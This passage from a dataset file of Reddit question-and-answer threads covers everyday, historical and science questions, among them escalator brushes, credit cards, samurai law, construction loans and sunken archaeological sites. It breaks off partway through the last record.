{"q_id": "3e74qi", "title": "why do escalators have bristles on the sides?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3e74qi/eli5_why_do_escalators_have_bristles_on_the_sides/", "answers": {"a_id": ["ctc3jzq", "ctc3se3", "ctcbso7"], "score": [87, 151, 5], "text": ["To prevent any small debris, any curious individuals willing to poke around, and our clothing from getting near the mechanisms of the escalator and getting caught. ", "The bristles are called shirt brushes. The sides of escalators that the steps ride agenst are called scirts.  The scirts brushes are there to gently nudge your feet or any other part of your body away from the scirts.  That aria is varry easy to get a body part stuck in, and then sucked into the unit causing great bodily harm. in the trade escalators have a nick name of meat grinders. They do not care. They will suck you up in no time. That being said. Newer units have multiple safety switches to stop the unit wares older units do not. But they will still hurt you badly befor they stop. Always be careful and vigulant. Stay away from the sides and comb plates ( pokey thing at top and bottom the mesh with the steps usually yellow.)  Don't let you child play on them and don't take strollers walkers canes or crutches. If you are unbalanced use the elevator. If there's escalators there will be an elevator.\n\n\nTldr: the bristles are scirts brushes to kean you away from sides. They are there to help keep you safe.", "My gf used to work at a spa. One time a lady came in with scars all over her back. It looked like someone took a grinder to it. Apparently she slipped at the end and the back of her shirt was grabbed by the escalator, pulling the shirt and her back into the machine.  \n  \nNow I take the stairs when available."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2q78cl", "title": "what happens if someone runs away from their friends/family on purpose, and then they file a missing person report?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2q78cl/eli5_what_happens_if_someone_runs_away_from_their/", "answers": {"a_id": ["cn3ih43", "cn3il35", "cn3iohp"], "score": [4, 2, 3], "text": ["Actually it would go over well if your explanation seemed valid and you had no history of unsafe or reckless behaviour. Also, if you officially change your \"records\" (government, bank, whatever) to a new address, then you aren't exactly missing.\n\nIf you moved to a place where they couldn't check any records themselves, they would simply call up various \"cooperating agencies\" and get them to check. In Canada, police can check records across provincial borders without issue. They can probably check US records without too much red tape as well, but may get less details. I'm not sure honestly.\n\nKeep in mind that \"missing\" is relative. If the cops know where you live and that you are safe (and you are over 18 or an emancipated minor) you are not officially missing. You are missing to your family but that's none of the police' business and they won't (or shouldn't) share your info without your permission.", "I can guarantee that this is a really, really, really, REALLY bad idea. It may seem amazing, and trust me, I've thought about it, too--just disappearing and starting all over somewhere new. But if you think about it deeply, you'll realize that this type of behavior and action(s) will really hurt people who will inevitably be wondering where you are.\n\nCan you imagine one of your own friends or loved one doing the same, and you wondered for years...maybe the rest of your life where they went? Horrible things happen to innocent people; including senseless murder, and the dumping of the body somewhere in a swamp, field, etc. Think of all the horrible thoughts that would come to your family's minds or your friend's minds; they'd always wonder if you were murdered, how bad it was for you in the end, etc. and these thoughts would plague them for the rest of their lives.\n\nDuping people is never a healthy choice--ever. If you really wanted to just get away and not tell anyone where you were, and nothing in this world could change your mind, leave a note that you've had signed by a notary public so they can see that it was really you who wrote and signed the letter, and that you just wanna be left alone.\n\nHowever, keep in mind that, no matter how badly you may not want anything to do with some people, you mean the world to lots of people, and it's not fair to do to them. Just my opinion is all. Good luck.", "If that person is a competent adult, and law enforcement finds and identifies them, they will report to the family they do not wish to be contacted and not release any information about them without cause.\n\nCause might include any outstanding legal or financial obligations that person might be avoiding."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1hh1st", "title": "I heard this and I want to verify it here. Is it true, after the trail of tears, that the choctaw indians donated 712 dollars to relief for the irish potato fund?", "selftext": "irish potato famine*", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1hh1st/i_heard_this_and_i_want_to_verify_it_here_is_it/", "answers": {"a_id": ["cau916c", "cauqqoq"], "score": [31, 2], "text": ["Yes, it appears that they did but the initial amount varies. Some say that it was $710, while others say that this was the result of a misprint in *The Rise and Fall of the Choctaw Republic* by Angie Debo, and the actual amount was $170. According to the [website of the Choctaw Nation of OK](_URL_0_), it was the smaller sum.\n\nAccording to the same website, \"In 1992, a plaque was unveiled at the Lord Mayor\u2019s Mansion in Dublin, Ireland that reads, 'Their humanity calls us to remember the millions of human beings throughout our world today who die of hunger and hunger-related illness in a world of plenty.'\"", "There  is an annual Famine March in Co Mayo , Ireland ,and for the past number of years it has been led by a Choctaw Chief.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.choctawnation.com/history/choctaw-nation-history/choctaws-helped-starving-irish-in-1847-this-act-shaped-tribal-culture/"], []]}
{"q_id": "97ett4", "title": "Is it true that Japanese Samurai were able to kill any lower class citizen/peasant if they broke etiquette?", "selftext": "If so, to what extent were they allowed to exert their influence? Were they able to do this with zero repercussions from their superiors? Side question, were swords actually tested on convicts?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/97ett4/is_it_true_that_japanese_samurai_were_able_to/", "answers": {"a_id": ["e47xrm4"], "score": [7], "text": ["Yes and No. It worked almost like duels in the western sense, only to preserve the dignity of samurai class, but the rules on \"Kirisute Gomen\" was very strict according to Kujigata Osadame Gaki, the 81 laws of justice, written in 1742.\n\nIf a samurai had ever decided to execute a civilian on site,\n\n1. One has to notify at the office immediately\n2. Whatever the reasons were, one has to face a mandatory 20 days house arrest.\n3. One's sword will be confiscated until court decisions as an evidence (which was very dishonorable to any samurai not to have swords on their hips).\n4. One has to have a witness to prove that the striking was a self-defense act against civilian braking the code, or rude behaviors.\n\nIf there was no witness or you couldn't prove yourself, you must face seppuku, and ended up dishonoring your family name, so Kirisute Gomen had rarely happened. The infamous Namamugi Incident involving British in 1862 is well-documented so maybe you can read about it.\n\n:: Side question, were swords actually tested on convicts?\n\nAs a part of execution, convicts on death rows had occasionally faced the cut. You can read that on wiki by typing \"Tameshigiri\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "znjiw", "title": "the home-building process.", "selftext": "Let's say the home we want to build (going through a custom builder company), including land and all the customizations and stuff, is $200,000. Does that cost include the cost of construction? Do they build the house, and then we buy it, and the mortgage payments start?\n\nOr does construction cost even more on top of the \"finished\" price of the home (the $200k)? If so, can we roll that cost into our mortgage, or do we have to take out a separate loan for it?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/znjiw/eli5_the_homebuilding_process/", "answers": {"a_id": ["c664v5z", "c667z7g"], "score": [2, 2], "text": ["Usually you will obtain a construction loan, buy the land, contract with a homebuilder, give them a downpayment, and continue to pay the builder from the construction loan as progress is made on the house. During this time you are also making payments to the bank for the construction loan. When the home is finished and you have finished paying the builder, the city inspects the house to make sure it is safe to live in. If so, you get a certificate of occupancy and can proceed with obtaining a mortgage. If you have been frugal, the mortgage will pay off your construction loan and you're good to go. \n\nIn a nutshell, all you are paying the builder for is the materials and their labor. ", "I've gone through the process.\n\nWhat happened was this: because we were building a house, instead of going to a bank for a mortgage to pay for an existing house, we got a construction loan.\n\nIt was understood/required that the construction loan would be converted to a mortgage when the house was completed. So, essentially, we were getting a mortgage from the bank, but, because that's not technically possible until there's a house, the bank added a (large) step before the \"here's your mortgage\" step where they loaned us money to build the house.\n\nWe were basically pre-approved for a mortgage for a house that we were going to build. The bank used the house plans and the land value to figure out how big a mortgage they were willing to give us (along with our credit rating and all that usual loan application stuff). Based on that amount, they gave us a construction loan to build *that* house.\n\nDuring construction, at periodic intervals (weekly or bi-weekly - can't remember), we would let the bank know where the construction was and they would approve a disbursement to the contractor. So, for example, at the very beginning, we were borrowing $0 (nothing had happened yet). The contractor began work. After a week or two, he would say to us, \"OK, we have the hole dug and the foundation is in. can I get paid $X for that?\" We would tell the bank about it and they would say, \"OK, here's a check for $X made out to your contractor.\" At this point we are now paying interest on $X. Every disbursement to the contractor would add to the amount we were paying interest on.\n\nThis went on for 6 months, until the house was completed. At that point, we owed the entire amount of the construction loan (yeah, we used it all). I don't remember getting an occupancy permit, but, *something* turned the construction project into a home that you could get a mortgage against. We went to the bank and got the mortgage which paid-off the construction loan. It was essentially one, large step which you could think of as \"converting\" the construction loan to a mortgage."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "441q3b", "title": "why can't the super bowl i owner sell the tape for personal use?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/441q3b/eli5_why_cant_the_super_bowl_i_owner_sell_the/", "answers": {"a_id": ["czmp48i"], "score": [2], "text": ["The NFL owns the footage, it's illegal to tape a NFL game or any major sport and sell it. The NFL owns the footage of the game, they just don't own the tape it's on. The real mind boggling problem is 3 networks carried super bowl 1 and not one of them recorded it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1lb5yv", "title": "During World War II, did Germany condone Japan's attack on Pearl Harbor; or did this anger Germany due to America's entrance into the war following?", "selftext": "I remember reading Japan thought that the U.S would remain isolationist and not enter WWII, but obviously we were much more retaliatory. My question is: Did Germany know/condone this attack, or did they denounce such an action due to the risk of bringing America into the war? If I remember correctly, Hitler had no plans to invade the United States, so wouldn't it have been in Germany's best interest to keep America isolated and out of the war?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1lb5yv/during_world_war_ii_did_germany_condone_japans/", "answers": {"a_id": ["cbxi3ux"], "score": [9], "text": ["Hello! Germany did in fact condone the attack on the Pearl Harbor, even though Hitler harbored some negative attitudes toward the Japanese in general. On December 8, three days before declaring war on the United States, Hitler apparently said: \"We cannot lose the war at all. We have an ally [=Japan] who has not been defeated in three thousand years!\" If you would like to learn a bit more about Japanese-German relations, [please take a look at another brief post I've made in the past](_URL_0_). I hope you find this helpful! :D"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1ijfg2/what_was_the_relationship_between_hitler_and_the/cb5ef7b?context=3"]]}
{"q_id": "c5ahyq", "title": "what does physical therapy do to help the body recover that rest does not do?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c5ahyq/eli5_what_does_physical_therapy_do_to_help_the/", "answers": {"a_id": ["es0lonr", "es0rxx3", "es0szbb"], "score": [2, 16, 5], "text": ["It promotes regrowth of the muscles, and also prevents things from healing too tight (with too little range of motion).", "Rest alone causes muscles to atrophy (weaken) and stiffen, physical therapy helps strengthen, stretch/loosen muscles, reduce pain so you can return to pre-ailment level or close to it.  Also helps with new movement that's required temporarily or permanently as a result of injury or other loss of motion/mobility... say you have a knee replacement and need to alter how you get into/out of a car safely, they'd show you how to do so.", "Muscle strengthening, flexibility and breaking up scar tissue. A lot of physical therapy is about correcting or directing the healing process.\n\nMore sleeping is actually recommended when going through physical therapy or any intense training. You break down cells in working out, and in sleeping you build them back up stronger."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2er5e8", "title": "How do brute-force decryption programs know when they are successful? If I encrypted gibberish or a made-up language would it be able to pick it out?", "selftext": "I guess you could look at letter frequency and bayesian methods to discern gibberish from cleartext? \n\nAlternatively, suppose I encrypted my message, then encrypted it again with a different key. Would a brute-force program be able to notice the difference between guessing the correct and incorrect keys for the second level? Can it tell the difference between an encrypted string and randomness?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2er5e8/how_do_bruteforce_decryption_programs_know_when/", "answers": {"a_id": ["ck26g7o", "ck26l1p", "ck29b22"], "score": [14, 5, 3], "text": ["Data to be encrypted generally has some order that can be discerned.  Many file types have a header that allows programs to identify it given nothing more than the first few bytes.  If the attacker knows that the encrypted contents is such a file then they can look for known headers and identify a correctly-decrypted output that way.\n\nMany filetypes are sparse, meaning there are large chunks of space filled with zeros.  This would be an extremely good indicator that you've found something interesting, even if it isn't the plaintext.\n\n > Would a brute-force program be able to notice the difference between guessing the correct and incorrect keys for the second level?\n\nIdeally, no.  Encryption algorithms generally strive for output that is indistinguishable from random data.\n\nIn reality an attacker may be able to mount statistical attacks or use other advanced cryptographic techniques against the combined cipher.  One such attack against this exact setup is called a [meet in the middle attack](_URL_0_), you can look at that for further resources on the subject.", "Typically, the assumption is that a brute force attacker has some idea of how you're doing the encryption, so that there's a way for them to work out whether they've guessed right.\n\nFor example, one of the common scenarios is where the attacker knows some plaintext, the corresponding cyphertext, and is trying to work out what the key is.\n\nFor a 'double encryption' scenario like you describe, both of the keys would be considered part of the key string.  Because of meet in the middle attacks, it's a relatively weak way to do things.  (_URL_0_)\n", "This question has actually already been answered quite recently. Please refer to [this thread](_URL_0_).\n\n >  I guess you could look at letter frequency and bayesian methods to discern gibberish from cleartext?\n\nYes you could, if you are quite certain the cleartext will be plain text. Additionally, without knowing which language to expect, this could get difficult as well since letter frequencies are not identical for all languages.\n\n >  Alternatively, suppose I encrypted my message, then encrypted it again with a different key. Would a brute-force program be able to notice the difference between guessing the correct and incorrect keys for the second level?\n\nYou would (theoretically) brute-force the two encryption layers at the same time. The thing is, modern cryptography is mostly based on keeping piece of data (a key) secret rather than keeping the algorithm secret. An attacker would probably know (e.g. from looking at your code) that you're using a double layer of encryption. Therefore he can expect this and act accordingly. The security stems from keeping your key(s) secret.\n\nNote that using two layers of encryption would tremendously increase the key space, in theory. But in practice I'm not entirely certain this is always the case. (Note that I am not at all an expert on cryptography.) Take for example an extremely simple xor block cipher. This is, encryption is given as \"cipher_block = input_block XOR key\" and vice-versa for decryption. Using two keys this eventually results in \"cipher_block = input_block XOR key1 XOR key2\". In this case, an adversary wouldn't need to brute-force both key1 and key2 but only \"key1 XOR key2\", making it not more secure than a single encryption round."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Meet-in-the-middle_attack"], ["http://en.wikipedia.org/wiki/Meet-in-the-middle_attack"], ["http://www.reddit.com/r/askscience/comments/2ecju9/when_brute_forcing_a_ciphertext_how_does_one_know/"]]}
{"q_id": "5h87i5", "title": "How much physical force would it take to break a molecular bond?", "selftext": "If I had a rope made of one macromolecule, how much could I hang from it without it breaking?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5h87i5/how_much_physical_force_would_it_take_to_break_a/", "answers": {"a_id": ["daycckx", "daydhf9", "dazda9d"], "score": [6, 2, 2], "text": ["A few nanonewtons. This mentions 2.0 nN for Si-C: _URL_0_\n\nAs I remember, C-C is about 4 nN.", "covalent bond is about 1500 pN.\n\na weak molecular bond could be as small as a few pico newtons.\n\nSee _URL_0_", "Hi! I found [a similar question](_URL_0_) asked elsewhere, so the answer there might help you:\n\n > Depends on the subatomic particles which lay the foundation of related molecules components and also many other factors.\n\n^(I'm just a bot trying to share the love. Sorry if questions are loose matches right now; i'm working on it!)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sciencemag.org/content/283/5408/1727.short"], ["http://www.picotwist.com/index.php?content=smb&amp;option=odg"], ["https://www.quora.com/How-much-physical-force-would-it-take-to-break-a-molecular-bond?share=1"]]}
{"q_id": "2pqct1", "title": "is the world really getting crazier, or just more sensationalist?", "selftext": "My friends that watch a lot of TV think the world is in shambles and something crazy is going to happen soon, but I feel like the world is generally much better off than it ever has been. Who is right?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2pqct1/eli5_is_the_world_really_getting_crazier_or_just/", "answers": {"a_id": ["cmz1mk5", "cmz26ew", "cmz2804", "cmz2mwv", "cmz33fb", "cmz6szc", "cmz6xph", "cmzlrzz", "cmzsyaq"], "score": [54, 2, 3, 14, 2, 2, 3, 2, 2], "text": ["The world is much better off in most cases. People are richer, hunger levels are lower, war deaths are fewer, crime rate is down. There are a few regional exceptions obviously (it still sucks to be in North Korea for example), but for the world as a whole, life is much better than it was a century ago, or even 50 years ago. The massive improvements in telecommunications just make it easier for sensationalism to spread. ", "Both.  And that's harder to explain to a five year old.", "The thing about now compared to the past is that news travels much faster and farther than it used to. An unarmed citizen being shot by a police officer in a town the size of Ferguson probably would have made headlines in local papers and in major cities nearby but would largely have gone unnoticed by the rest of the world if it happened 100 or even 50 years ago, but today something like that happens and the entire world finds out in an instant.\n\nI guess what I'm saying is that it seems like the world has always been a pretty crazy place. It's just much easier for us to hear about the crazy stuff that's going down.", "Think about everything that's happened in the last 100 years. In the space of just 30 years we had the two most violent conflicts in human history, the Great Depression and the Holocaust. We spent 40 years after that living under constant threat of nuclear annihilation. What's going now that could compare to that?\n\nAs has been pointed out below, combat deaths in 2013 were the lowest in recorded history. Violent crime in the US is at all time lows. 2014 was a step backward in some parts of the world, in most places, most of the world is pretty peaceful. ", "There are people who have actually studied this (and continue to do so). To really understand if things are better or worse, you can't just look at what's on CNN today.  You need to look at long-term trends.  Things like having food, shelter, and clothing...the chances of being killed either by crime, work, or war...general health, longevity, infant mortality...etc.  There are dozens of metrics of whether life is better or not, and people actually do try to measure such things. \n \nThe people who have looked at those kinds of indicators all seem to agree that the world is becoming a better place overall.  It just is hard for us to recognize that when we get inundated daily by news of insane crap happening. \n \nYour friend needs to learn to keep a balanced perspective.  No one is coming on Fox News and shouting about how much things have improved in the last 500 years.  That's not going to get them ratings, but it is still important knowledge to have to recognize what's going on in the world.", "Everyone here has already said this, but the answer is: no, the world is not \"worse\"--it is just easier to hear about the depressing stuff. \n\nSuch a thing is rather subjective, but from those things we can objectively say are detrimental to humanity--starvation, disease, war, famine, poverty, etc.--we have made great strides relative to previous centuries.  The availability of information and the spread of positive ideals like basic human rights grows day by day. It's quite phenomenal to think of where we are relative to where we have been.  \n\nHowever, there are people who make money from advertising while hawking constant \"news\". Unfortunately, scary shit gets more viewers, so they intentionally make things seem catastrophic. \n\nTL;DR--Capitalism results in people selling scary stories and people, in-turn, thinking those stories are representative of the world. ", "Both, technology is allowing a lot more crazy shit to happen, but technology is also allowing us to blow these events way more out of proportion than we used to.  While this year did give us MH370, ISIS, Ebola and a bunch of other crazy shit that sounds like made up gibberish, we should put it into perspective.  For six years in WW2, the whole world was literally at war and that was followed by 40 fucking years of being on the brink of nuclear annihilation.  The world today is pretty tame compared to that.", "Things are overall getting better. You and your friends are just getting caught up in the sensationalism that we call \"news\" . If you really want to know what's going on, get a copy of the Economist, a Sunday New York Times, and skim the Al-Jazeera website and you'll be more informed and less stressed by the bullshit.", "It's not getting crazier or more sensationalist; human nature doesn't change. \n\nAll statistics are going to look more extreme if you go by the numbers. More people dying, richer people getting rich, terrorism, etc. But proportionately, and over time, when you adjust for other changes that the world undergoes, like inflation, population growth, technology, and globalization, you realize that the world isn't really going downhill in general. You can't compare a news report of street crime in 2014 to a news report of street crime in 1964. You have to compare what really characterizes the difference between those eras. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "1910f7", "title": "credit cards.", "selftext": "I am 22 years old, about to graduate college, and so extremely poor. My parents don't help me out at all, and it's been harder and harder to be able to buy groceries, have fun with friends on the weekends, and pay bills. I feel like a credit card would be very beneficial for me. However, I am very nervous about it because my parents had to file bankruptcy recently as a result of credit card debt. \n\nHow do they work? What should I look for? Any suggestions on cards for a low-income, soon to be college graduate?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1910f7/eli5_credit_cards/", "answers": {"a_id": ["c8jsxqr", "c8jtrlo", "c8ju0ic"], "score": [3, 5, 3], "text": ["You should look for a card with no annual fee.  You should look for one with good rewards.  And most importantly YOU SHOULD NOT GET A CREDIT CARD IF YOU DON'T PLAN ON PAYING OFF THE BALANCE COMPLETELY EACH MONTH.  The only thing that will be beneficial to you in this situation is to make a budget so that your incoming money is greater than outgoing money and then stick to that budget.  After that, then you can get a credit card.  ", "OK, credit cards are just loans.  They are loans that make the money VERY easy to borrow.  When you apply for a card you (if approved) will be given a limit, and an interest rate.  The limit is the maximum amount that you can charge to the card in total.  It starts at $0.  Some cards have fees, the lower the fees and interest rate the better.\n\nSo say you charge $100.  At the end of the month, you owe the bank $100, but they don\u2019t ask for the full $100. They only ask for $10.  When next month\u2019s bill arrives, they\u2019ve added $9.50 in interest and now you owe $99.50.  It will take a VERY long time to pay back that $100 and you will have paid a very large amount of interest.  \n\nThis is the trap people fall into.  They charge something because they don\u2019t have the cash to buy it.  Then they don\u2019t have the cash to pay the credit card bill in full so they only pay the minimum payment.  Next month they still don\u2019t have the cash so they charge something else to the card, and still can\u2019t pay in full.  If you pay your card in full each month then it\u2019s no issue.\n\nCharging normal monthly expenses (food, drinks, rent) is a very bad idea.  If you don\u2019t have the money to pay today, you won\u2019t have it tomorrow. Some people who DO have the cash right now do this to take advantage of points offered on credit cards.\n\nWhere the cards are a good thing is in the event of large one time emergency purchases.  The ideal situation, if you want a new TV is to save up a little each month and pay for the TV in cash when you have the money.  But what if it\u2019s not a TV but a car repair.  You need that car repaired right now, you can\u2019t wait till you save up the money.  So you charge it, pay it over several months (remembering to pay more than the minimum).  Sure it will cost you interest, but that is less than the cost of not being able to get to work.\n", "I'll give you a card.  Use it to buy stuff - don't worry about the cost because I'll pick up the tab for now - I will guarantee that the shop gets its money and that you get your goods.   You can pay me back later.  If you want to you can take your time over that, and if you do then I'm going to ask you to pay me more back than the things you bought actually cost.  But you can pay me in smaller amounts, over time. Not all at once.  Maybe that will help you out?  I will profit, and you will get stuff now.\n\nIf you are very good then I will let you buy more expensive things with the card, because we trust each other, yes?  We are good friends.  We make happy adverts on the TV.  You always pay us back.\n\nIf at any time you don't pay me back, maybe you forgot or were just a little short that month, then I will write to you, just to let you know.  If you keep forgetting, I'll write some more. Then maybe send one of my other friends to visit.  And if you still feel you maybe put a little too much on the card, then maybe we can just call it quits by taking away all your other money and stuff and then telling all our friends not to lend you things.\n\nSo really, you're better to just spend what you can pay back, yes?  That way you will still be happy when you see our adverts. And you can keep your stuff.\n\nIf you want to you can pay back everything you buy with the card every month.  If you do that I won't even ask you to pay any more money than the things cost.  But then I may be sad, as I will not make so much money, so from time to time I will encourage you to treat yourself.  That's what it's for really, to let you have things now.  And to let me make some money.\n\nIf you don't like the sound of that well, listen up.  What will you do when you are stuck outside with no way to get home?  What about when you need to get your home fixed up after a storm, or need to pay for medicine and you have no cash?  That's right, I am here for emergencies if you need me.  I am your friend, remember?\n\nAnd if some guy sells you a broken toy, but I paid it for you up front, then it's not your problem - I'll get him to sort it.  Just let me know.\n\nLastly, if you wanna buy cheap stuff online, my card is what you need for that.  And I'll sort it out if it all goes wrong.  Probably.  Unless I can blame you.  Which I promise I probably won't, so long as you are careful...\n\nSo that's it.  Here's your card, you buy stuff.  I profit.  You might find it a help, useful in emergencies.  Just remember you still have to pay it all back - ain't such a thing as free money. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1883qm", "title": "If the oceans were drained, what would be the top archaeological digs? What would be some of the top salvages? ", "selftext": "There must be incredible shipwrecks and civilizations under there. Also a lot of other individual artifacts, remains of historically significant people, and so forth. What would be of interest?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1883qm/if_the_oceans_were_drained_what_would_be_the_top/", "answers": {"a_id": ["c8cg31o", "c8cgflc", "c8cgwjz", "c8chbr8", "c8cheaj", "c8chgee", "c8chhzp", "c8chn7r", "c8chqvr", "c8chufq", "c8cik53", "c8cj392", "c8cjias", "c8cjslx", "c8ck6go", "c8cku4k", "c8cl6d5", "c8clacp", "c8clvsg", "c8cly6g", "c8cmilr", "c8cmz93", "c8cnnj3", "c8cntl5", "c8cny10", "c8co9fq", "c8cojlo", "c8cp2v0", "c8cqa90", "c8cqyet", "c8cre27", "c8cs9ij", "c8cwd0r", "c8cxf7w"], "score": [407, 107, 31, 144, 193, 269, 33, 37, 168, 24, 22, 113, 18, 58, 34, 33, 3, 13, 19, 11, 12, 8, 6, 6, 5, 3, 9, 10, 2, 4, 2, 6, 2, 2], "text": ["Doggerland.\n\n_URL_0_\n\nDry land and settled up to just about 8,500 years ago.\n\n\nAlso, Bismark, but that's just because I'd want to see it.", "Not an ocean, but the Dead Sea. One theory about the story of Sodom and Gomorrah was that it referred to the cities being flooded. Apparently there was a dyke retaining the Dead Sea, and a depression somewhat to the south of it. The theory is that the cities were there, and were flooded when the dyke gave way. I don't remember the details of why the whole story is plausible, but it could mean that there are a couple of Bronze Age towns  under there, perhaps quite well preserved by the abiotic environment.", "I'd love to have access to the black sea, the north sea, the english channel, the bering straight, and the coast of east africa all the way around to india. All of these coastlines were major lines of travel for early H. sapiens, and likely for erectus and company as well. Having access to the entire western coast of the New World may help solidify the timeline for human colonization of the Americas, as we have lasting questions about how much travel exactly took place via leapfrogging canoes and coastal settlements. ", "Perhaps [Alexandria](_URL_0_). In addition to Alexandria, [here are six more submerged cities](_URL_1_) of archeological interest. ", " > If the oceans were drained, what would be the top archaeological digs? \n\nThe ones no one knows about. There are vast gaps in our knowledge of ancient ship construction and use. No one knows what's out there, most of the oceans and waterways are not mapped at high enough resolution to reveal archaeological sites. ", "Not an ocean but a lake: Guatavita in present-day Colombia.\n\nLegend has it - and supposedly witnessed by explorers and conquistadors, among others, Walter Raleigh - that the local Muisca people threw gold artworks into the crater lake as part of a ritual. This lake was one of the contributing legends to the myth of El Dorado.\n\nThere have been many attempts to drain the lake in the past, most yielding - at best - a few scraps of gold and some other pieces of local artwork. It is highly unlikely that anything more than a few crude artifacts would be found if the lake were drained but one does wonder...\n\n---\n\nSources:\n\nAnderson, K.B. and W. Bray. 2006. 'The Amber of El Dorado: Class IB Archaeological Ambers Associated with Laguna Guatavia', Arhaeometry.\n\nRamirez, J.E. 1975. 'La Laguna de Guatavita', Sociedad Geografica de Colombia.", "There are multiple archeological sites off the coast of Southern California. Roughly 5,000 to 8,000 years ago the sea level was about 10 to 20 feet lower. Divers have found all kinds of grinding stones and other stone tools just beyond the tidal zones. Nobody is sure what the grinding stones were used for since more contemporary Native American coastal tribes in the region had no real need to grind anything. It is theorized that native acorn trees once grew right along the coastline since it was a lot cooler and wetter back then and such tools would be needed to process the acorns. Today, acorn trees are only found at much higher elevations. ", "The New York Harbor would be good for salvage, and I am sure there is a lot of history there:\n\n_URL_1_\n\nAlso, anywhere missing nuclear weapons are. I just think their loss is interesting, and safe recovering would preclude environmental damage. That being said, they are probably less harmful where they are and would leak radioactive materials if salvaged:\n_URL_0_\n\n", "Technically, it's a lake not the ocean, but Lake Toplitz in the Austrian Alps is believed to be the resting place of a lot of fake currency, stolen gold and art relics the Nazis took from the rest of Europe, or even just a lot of dirty secrets of the Third Reich.\n\nIt's a huge friggin' lake, though - there's been plenty of failed missions to try and reach it, but it's so deep and cold that it's one hell of a project to try and get it. Nice Guardian piece [here](_URL_0_) on the last attempt I've heard of to retrieve it.", "For me it would be the Surigao strait.  Pretty much an entire Japanese fleet killed in the most textbook definition of crossing the T.\n\n_URL_0_", "If you're interested in underwater shipwrecks there are boats out there looking for them. \n\n_URL_0_\n\nHere's a website of one with a real time livestream of their exploration. They are in port right now but there are videos of some of the discoveries the past few months.\n\nOne of their primary interests is the Black Sea. The lack of oxygen there leads to a lack of bacteria, so the wrecks are well preserved.", "I'd love to get my paws on Lake Michigan...TONS of shipwrecks there!", "How about the Mariana trench? At least it'd be interesting to explore it.", "The out-of-Africa routes that the early humans took, along the coast of Yemen and Oman. Critical things to be discovered include:\n\n* If indeed this was the route out of Africa\n* When the migration took place \n* What was the human toolkit at this time", "The wreck of the USS SCORPION, 400nm southwest of the Azores. We would finally know for sure the cause of its sinking: mechanical failure or Soviet torpedo.", "The Mediterranean sea will eventually dry up. Don't laugh, it's happened before: _URL_0_\n\nWhen it does, just imagine: the west coast of Italy (Virgil's grave, for example, is now underwater). The North coast of Egypt. The Greek islands.\n\nSadly, it won't happen again for several hundred thousand years. But there might still be some stone constructions left...", "Not an archaeologist or anything close to it, but would the Marianas Trench be a good site for finding some crazy fossils of plant and animal life that have lived there over millions of years?  Any nature show dealing with deep sea creatures produces many crazy forms of life, would this be something worthwhile to investigate?  I'd love it if someone could inform me about this.", "The city [Helike](_URL_0_) in ancient Greece is reported to have vanished in a flood with all the statues, temples and buildings visible under the water. Also the Aegean sea in general is full with ancient shipwrecks that are still unexcavated.", "First thought was the Oak Island Money Pit. Always lights up my imagination.\n\n_URL_0_", "[Port Royal](_URL_0_) would be awesome! Who knows what else is down there.", "Port Phillip in Australia, along which the city of Melbourne sits. Once looked like [this](_URL_0_), now looks like [this](_URL_3_) (roughly 30x50km in area). The port was previously inhabited (until around 8,000 years ago) when it was dry ground and some oral Aboriginal records stretching across millenia have been verified by archaeological investigations / dives, including confirming the existence of an underwater waterfall at the mouth of neighbouring Western Port that was previously above sea level. Attempts have already been made to investigate by diving with [some](_URL_1_) fascinating [results](_URL_4_). I'm sure they'd find a lot more if the port was dried out.\n\nSame with the Bass Strait separating Tasmania from the Australian mainland - it was dry ground as little as 14,000 years ago, which makes sense given how [shallow](_URL_2_) the sea is.", "The waters around the UK and Ireland would be fascinating. Up in the north (by the Orkneys) you would have the scuttled German fleet from WW1 at [Scapa Flow](_URL_0_). Around a large part of the UK and Ireland you have bits of the [Spanish Armada](_URL_1_), over 50 ships.\n\nThe biggest problem is should these wrecks be exposed, and in the case of the German fleet at Scapa Flow, they are most definitely above the silt, they would rapidly degrade and need protection.", "I'd like to find Jack Weeks' A-12 (predecessor to the SR-71) lost without a trace in 1968. [Link](_URL_0_)\n\nThere must be an unreal number of aircraft in the Pacific, Mediterranean and Atlantic (especially the English Channel) from World War 2. I'd love to see those salvaged. ", "This is a great question for [/r/geology](_URL_0_)", "The Gulf of Mexico and the Carribean. Search the area of the Bermuda Triangle for interesting stuff, and we could check out the impact site of the asteroid that killed off the dinosaurs!", "am sure Dwarka (_URL_0_) 